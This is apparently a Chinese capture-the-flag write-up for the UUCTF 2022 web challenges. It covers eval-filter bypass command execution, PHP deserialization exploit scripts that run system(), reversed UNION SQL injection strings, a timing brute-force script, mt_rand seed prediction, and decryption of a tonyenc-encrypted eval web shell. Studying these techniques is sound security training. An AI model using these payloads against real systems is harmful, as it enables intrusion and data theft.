目录
<1> Web
(1) websign(禁用js绕过)
(2) ez_rce(?>闭合 `rce`)
(3) ez_unser(引用传递)
(4) ez_upload(apache后缀解析漏洞)
(5) ezsql(union注入)
(6) funmd5(代码审计 %0a绕过preg_replace)
(7) phonecode(伪随机数漏洞)
(8) ezpop(反序列化字符串逃逸)
(9) backdoor(tonyenc加密&IDA逆向so文件)
(10) uploadandinject(LD_PRELOAD劫持)
<1> Web
(1) websign(禁用js绕过)
禁用了右键与ctrl U 我们提前打开F12 然后再访问,即可看见源码
(2) ez_rce(?>闭合 `rce`)
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
没有过滤 <> ? \/ 可以 ?>闭合
?code=?><?= `l\s`?> 得到flag文件名称:fffffffffflagafag
rev和nl没有被过滤 利用此读取flag文件
?code=?><?= `nl /fffffffffflagafag`?>
(3) ez_unser(引用传递)
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
反序列化,从正则上看 preg_match('/test":3/i',$a) 即我们传入的序列化数据不能通过修改属性个数来绕过wakeup
这道题和之前ISCTF比赛的 猫和老鼠 类似,可以用引用地址传递
exp:
<?php
class test{
public $a;
public $b;
public $c;
}
$A = new test();
$A->a = &$A->b;
$A->c = "system('cat /fffffffffflagafag');";
echo serialize($A);
?>
(4) ez_upload(apache后缀解析漏洞)
(5) ezsql(union注入)
简单union注入,不过是把字符串反向了 过滤了or
union注入:
?user=admin&password=%232%2C1+tceles+noinu+)'1
即:SELECT * FROM users WHERE passwd=('1') union select 1,2#') AND username=('nimda') LIMIT 0,1 得知有两列, 回显为1和2
过滤了 or,所以原先是ro的词,双写绕过 rroo
?user=admin&password=%23)(esabatad%3Damehcs_elbat+erehw+selbat.amehcs_noitamrofni+moorrf+)eman_elbat(tacnoc_puoorrg%2C1+tceles+noinu+)'1
即:SELECT * FROM users WHERE passwd=('1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#') AND username=('nimda') LIMIT 0,1
得到flag表
查询flag表字段
?user=admin&password=%23'galf'%3Deman_elbat+dna+)(esabatad%3Damehcs_elbat+erehw+snmuloc.amehcs_noitamrofni+moorrf+)eman_nmuloc(tacnoc_puoorrg%2C1+tceles+noinu+)'1
即:SELECT * FROM users WHERE passwd=('1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#') AND username=('nimda') LIMIT 0,1
得到UUCTF
?user=admin&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+)'1
即:SELECT * FROM users WHERE passwd=('1') union select 1,UUCTF from flag#') AND username=('nimda') LIMIT 0,1
得到flag
(6) funmd5(代码审计 %0a绕过preg_replace)
<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
$sub=substr($time,-1);
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
else{
echo $md5[0];
echo "oh!no!maybe you need learn more PHP!";
}
}
else{
echo "this is your md5:$md5[0]<br>";
echo "maybe you need more think think!";
}
}
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
8b17e
$md5=preg_replace('/^(.)0e(.)$/','${1}no_science_notation!${2}',$md5); if(preg_match('/0e/',$md5[0]))
这两个里的条件是矛盾的,但是我们可以%0a绕过preg_replace函数,同时传入的md5[0]要满足
$md5[0]==md5($md5[0] 很常见的md5考点,弱类型比较 0e215962017 MD5加密后还是0e开头。
因此md5[0]应该传入%0a0e215962017,但是我们又多了一个%0a 换行符,通过上面这行代码 $md5[0]=substr($md5[0],$sub);
可以在 $sub=1的时候,执行会达到删去%0a的作用
而 $sub=substr($time,-1); $sub由$time决定,$sub为$time的最后一位。
要得到flag,要满足的第二个条件为:$md5[1]===$guessmd5 手动比较慢,赶不上时间,因此需要写一个python脚本
如下:
import requests
import time
import hashlib
s = requests.session()
while True:
url = "http://43.143.7.127:28150/?md5[0]=%0a0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())
res = s.get(url=url).text
print(res)
if 'well' in res:
print(res)
break
time.sleep(0.5)
(7) phonecode(伪随机数漏洞)
结合这句话,可以联想到mt_rand()和mt_srand() 随机数种子,发包 得到hint,
phone不同,hint不同
猜测phone为种子,hint为其中的伪随机数序列
phone为1时,hint:895547922 印证了刚才的想法
<?php
mt_srand(1);
echo mt_rand()."<br/>"; #895547922
echo mt_rand()."<br/>"; #2141438069
echo mt_rand()."<br/>"; #1546885062
echo mt_rand()."<br/>"; #2002651684
?>
我们传入code为下一个随机数试一试 得到flag
(8) ezpop(反序列化字符串逃逸)
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>
data参数可控,然后post会传入data之后,$data会new一个UUCTF类的实例对象,替换掉hacker为loveuu!,再进行反序列化
先正常传入data=jack,则$data应该为:
O:5:"UUCTF":4:{s:4:"name";s:4:"jack";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
其中标红的是我们可控的参数
开始代码审计,在youwant类我们可以通过rce方法,实现命令执行,以此读flag,
现在找链子:
UUCTF:: nothing::__destruct() -> output::__toString() -> youwant::rce
流程即:我们通过传入的data参数,构造把后面的逃逸掉,构造新的序列化串
O:5:"UUCTF":4:{s:4:"name";s:4:"构造的";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
unserialize($data_replace); 这一段代码是为了触发 UUCTF的__wakeup(),我们需要真正利用的是 __wakeup()函数里,满足 $this->key==="UUCTF"条件后,执行的unserialize(base64_decode($this->basedata));
exp如下:
<?php
//flag in flag.php
error_reporting(0);
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd="system('cat flag.php');";
}
$A = new nothing();
$A->a = &$A->b;
$A->t = new output();
$A->t->a = new youwant();
$basedata = base64_encode(serialize($A));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
$hacker='';
for($i=0;$i<strlen($data);$i++)
$hacker .= 'hacker';
echo $hacker.$data;
?>
得到:Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19
所以构造的序列化串应为:
O:5:"UUCTF":4:{s:4:"name";s:4:"";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
但是我们要满足前面的s:*:"构造的" 长度*为我们构造的串的长度,一个hacker换为loveuu! 可以逃逸出一个字符,红色串总长为 236,因此需要236个hacker
最终查看源码,得到flag
详细有关反序列化逃逸可以参考我前面的文章:buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_葫芦娃42的博客-CSDN博客_apache ssi 远程命令执行 过滤绕过
(9) backdoor(tonyenc加密&IDA逆向so文件)
布里茨贼猛 lol里机器人叫布里茨,联想到robots.txt
看见www.zip,存在备份文件泄露 下载下来 backdoor.php 结合文件名称,应该是被加密的后门
还有一个so.so文件 看其他师傅wp,此题需要逆向的知识
2022UUCTF-web_yb0os1的博客-CSDN博客_uuctf 2022
IDA 逆向 .so文件
so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据
发现了 tonyenc_encode加密代码
双击代码里的tonyenc_key 得到 header和key的十六进制数据
百度搜索后得知
tonyenc 是一个简洁、高性能、跨平台的 PHP7 代码加密扩展,可以加密php文件内容,PHP 在运行它们时会自动解密
Github上的地址为:GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)
贴上yb0os1师傅根据源码写的解密脚本:
import base64
header=[
0x66, 0x88, 0xff, 0x4f,
0x68, 0x86, 0x00, 0x56,
0x11, 0x61, 0x16, 0x18,
]
key=[
0x9f, 0x58, 0x54, 0x00,
0x58, 0x9f, 0xff, 0x23,
0x8e, 0xfe, 0xea, 0xfa,
0xa6, 0x35, 0xf3, 0xc6]
def decode(data,len):
p =0
for i in range(0,len):
if (i & 1):
p += key[p] + i;
p %= 16;
t = key[p];
data[i] = ~data[i]^t;
if data[i] < 0:
data[i]=data[i]+256
decode = "".join([chr(c) for c in data])
return decode
encodefile=open('backdoor.php',"rb")
base64_encodestr=base64.b64encode(encodefile.read())
convert=[c for c in base64.b64decode(base64_encodestr)]
del convert[0:len(header)]
print(str(decode(convert,len(convert))))
解密得到backdoor.php文件内容为 <?php @eval($_POST['1af4d803']);?>
(10) uploadandinject(LD_PRELOAD劫持)
下面准备开一章 LD_PRELOAD,仔细研究一下,这道题就写下一篇里吧